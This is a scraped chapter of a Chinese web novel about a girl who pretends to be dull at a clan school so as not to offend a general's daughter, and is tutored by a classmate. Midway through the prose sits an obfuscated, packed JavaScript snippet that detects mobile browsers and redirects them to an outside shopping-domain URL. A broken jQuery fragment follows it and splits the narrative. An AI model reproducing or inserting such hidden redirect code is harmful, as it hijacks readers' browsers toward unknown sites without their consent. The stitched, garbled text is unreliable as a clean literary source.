虽然到学堂没几日,慧珠对班里的阵营已了然于胸,女生这边,孟馨悦和张嫡女是一伙,明珠秀珠姐妹俩是一伙,孟张嫡女对姚家两个珠并不太友好,应该是看不起两个珠的商女身份,明珠笼络不了孟馨悦,干脆转变思路,靠才华去吸引肌肉男。

    男生那边就没有分得那么清了,嘲笑过后,孟泽楠和孟泽谦仍是会跟霸道总裁在一起聊天,反倒是孟泽庭显得不太合群,总是一个人默默地坐在位置上看书,总是一副生人勿近,熟人滚远的样子,就算说话也是跟孟家三房的两个小鬼说,跟两个肌肉男反而没有多少共同语言。

    慧珠肚子饿得很,实在不想跟秀珠浪费口舌,主动认输道,“我字都不认识几个,三姐姐放心,我绝对不敢跟二姐姐比。”

    禤先生宣布下课,慧珠懒得再理会秀珠,拿着餐盒埋头吃饭,一想到得罪了孟家嫡女,她心中甚是郁闷,可是看到霸道总裁不仅没有拒绝承远阿哥给他的餐盒,还和承远阿哥他们聚在一起吃饭,她的心情一下子又恢复晴朗。

    朽木可雕,孺子可救!

    悠哉悠哉上了几日学之后,慧珠也算完全适应了学堂的学习生活,不仅能把脑袋摇得麻利顺溜有节奏,上课的内容她也基本上能听懂,女生不需要参加科考,禤先生对女生的要求不高,只要课堂上认真听讲,课后基本上不会布置作业,毫无压力可言。

    从这一点上看,古代女子也不是全是坏处,至少读书这一点就强得太多,一想到以前读初中高中时经常要刷题到半夜,生生把自己逼成小镇做题家,她现在是一点精力都不想浪费在读书上,学习上能混就混,绝对不让自己受一丝累。

    禤先生让她用一个礼拜背熟《千字文》,这么简单的内容,她在小学的时候早背得滚瓜烂熟了,为了让孟馨悦相信她其实很愚笨,就算是背得再熟,她也敢有一丝懈怠。

    慧珠每天拿着一本《千字文》很大声很认真地读,在课堂上读,回到家也读,她深知若是表现得太优秀,得罪了孟嫡女,她在孟家学堂只怕是呆不了几天,她读不读书是小事,要是不小心连累了承远阿哥那就不好了,她还等着承远阿哥金榜题名,好跟着鸡犬升天呢。

    禤先生看慧珠每天都读得如此卖力,再加上她小小年纪能写出那么精妙的诗文,认为她应该是个冰雪聪明的孩子,背诵《千字文》这么简单的内容应该用不了一个礼拜,于是决定提前进行考核。

    禤先生点名让慧珠站起来背诵《千字文》,慧珠也不推脱,稳稳当当地站起来,朗朗背到,“天地玄,宇宙洪,日月盈,晨列张,寒来往,秋收冬,余成会……”

    慧珠还要继续,眼见禤先生被口水噎住,连咳了好几声,下面坐着的几人也已经笑得东倒西歪,她只好停下来,天真又惶恐地承认,“有些字我…我不认识。”

    禤先生深吸了几口气才缓过劲来,看着慧珠一脸无辜,他只能强撑道,“没事你已经读得很不错了,以后遇到不懂的字就多问别人吧。”

    做戏做全套,慧珠颓下眉眼,怯生生问道,“先生,我该向谁请教?”

    禤先生最主要的任务是辅导几位高干子弟参加科考,像慧珠这样来凑数的女生,随便找个女生辅导一下就是了,他扫视几眼坐在右边的几个女生,肃声问道,“可有人愿意辅导慧珠姑娘学习?”

    孟馨悦贵为将军之女,辅导一个愚笨的商贾之女,这种自降身份的事情,她自然是不愿意的,张紫茵跟孟馨悦是一伙的,孟馨悦不出声她也就当作没听见,明珠秀珠就更不用说,巴不得天天看慧珠出洋相,又怎会出手相助呢。

    课堂上一时间鸦雀无声。

    女生没人愿意,禤先生的目光转到了男生这边,承远被慧珠如此一番神仙操作已是火气攻心,就差没气晕过去,此刻恨不得给她几个拳头,别说是站出来帮她了,李旭阳倒是很想帮慧珠,又担心男女授受不亲,引来别人的笑话,犹豫许久也没敢吭声。

    寂静之中,苏锦恒倏地站了起来,十分坚定地说道,“先生,我愿意辅导慧珠姑娘学习。”

    禤先生急于甩锅,也顾不上影不影响苏锦恒考功名,会不会整出校园恋情来,愉快地点头同意,然后生无可恋地让慧珠快坐下。

    禤先生大概是不相信自己会看走眼,又让慧珠把《千字文》抄一遍给他看,慧珠第二天就把抄好的作业交给禤先生,她写的字倒是十分地工整,就是笔画稍多一点的字,几乎没有一个是写对的,不是缺个胳膊就是少条腿,看得禤先生连连摇头,最后连话都不愿意跟她多说一句,让她以后学习上遇到什么困难直接去找苏锦恒就好。

    想到看帅哥能多活几年,慧珠十分主动向苏锦恒请教,只要苏锦恒在座位上闲下来,她就抱着书本过来讨教,为了拖延时间,好多看苏锦恒几眼,每次找苏锦恒辅导,她都拼命往死里装,只要看到笔画稍多一点的字,她都坚定地摇头表示不认识,再简单的句子,苏锦恒不解释个十次八次,她就不停巴眨两只死鱼眼,装出一副很迷茫的样子。

    明珠秀珠因为骗不到金项圈,本就看慧珠很不顺眼,看到她这副学渣样,更加看她不上眼了,经常在她面前卖弄文采不说,还时不时在姚阿爹面前投诉,投诉完还埋怨不该让慧珠去读书,害她们一起跟着丢脸。

    承远和旭阳看到慧珠这个样子也十分着急,每天在车里给她恶补功课,拿着一本《千字文》轮流教她读,读了一遍又一遍,读到承远和旭阳都能把整本《千字文》倒背如流,她仍是读完前面忘后面,读完后面忘前面,最后承远想起慧珠从树上摔下来,大夫说了慧珠伤到了脑袋,不能受到任何刺激,也只好作罢。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768527|208084||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姚承远不仅自己放弃,还劝苏锦恒不要太较真,苏锦恒不以为意,他似乎并不相信慧珠是真的傻,慧珠越听不懂,他就越耐住性子一而再,再而三,三而四地给她解释,直到她主动跳到下个问题为止,这反倒让慧珠不好意思笨得太离谱,慢慢还表现出点小进步来。

    这天慧珠又拿新学的《诗经·小雅·采薇》去向苏锦恒求教,昔我往矣,杨柳依依;今我来思,雨雪霏霏;行道迟迟,载渴载饥;我心伤悲,莫知我哀!几句简单的诗句,苏锦恒逐字逐句解释了七八遍,慧珠仍是一脸迷茫,表示读不懂。

    作为聪明人,孟馨悦十分不理解这么简单的内容慧珠怎么就学不会,越是不能理解,她就越是好奇,干脆凑过来看热闹,看着看着竟忍不住管起慧珠来。

    看到慧珠读到一半停下来抓耳挠腮,她立即大声斥责,“慧珠姑娘,你怎么读到一半又停下来了呢?这么一个简单的问题你已经读了十遍,还是读不会,你到底有没有在认真读啊?”

    慧珠觉得孟馨悦只是一时心血来潮,或者是受了什么刺激,引发短暂性脑短路,没往心里去,于是老实巴交地承认,“馨悦姑娘说的是,我确实太笨了。”

    以为这样的回答,孟馨悦觉得无趣就会消停,那知孟馨悦不仅没有消停,还热忱地鼓励她,“既然知道自己笨,那就不能偷懒,不仅要多读还要多写,写一遍记不住就写两遍三遍,直到记住了为止….”

    考虑到承远阿哥还要在孟家学堂读书,慧珠轻易不敢得罪孟馨悦,垂下头,诺诺应道,“我一定按照馨悦姑娘说的去做,每天写很多遍。”

    看到慧珠傻愣乖顺,又略带几分惊慌失措的样子,孟馨悦特别满意,对慧珠说话的也客气几分,“那你回家要认真写,写好了第二天拿到学堂给我看看。”

    欧买噶,慧珠不过是随便敷衍两句,没想到搬石头砸到自己脚了,她呜呜啊啊,不知如何是好,把无辜的目光看向了苏锦恒。

    苏锦恒并不相信慧珠真的学不懂,既然慧珠喜欢装,他倒也很乐意成全她,就算看得出慧珠在求救,他也视而不见,正色道,“馨悦姑娘说得对,□□姑娘学不会就多抄写几遍,写多了便会记住了。”

    写个大头鬼,吃里扒外的家伙,看着苏锦恒皮笑肉不笑的样子,慧珠气得想在给他带的餐盒下点泻药,她每天装认真读书已经够累,还要她写字,毛笔字写起来特别费手劲,这还让不让人活了。

    慧珠正搜肠刮肚想找个借口拒绝孟馨悦的美意,耳边又响起孟馨悦甜美的声音,“我比你长一岁,你以后就叫我馨悦姐姐吧。”

    数日前还对她嗤之以鼻的人,竟然要跟她以姐妹相称,慧珠多少有些不适应,可当着孟馨悦的面,她也不敢表现得太明显,最后只能细声细气地叫了声,“馨悦姐姐。”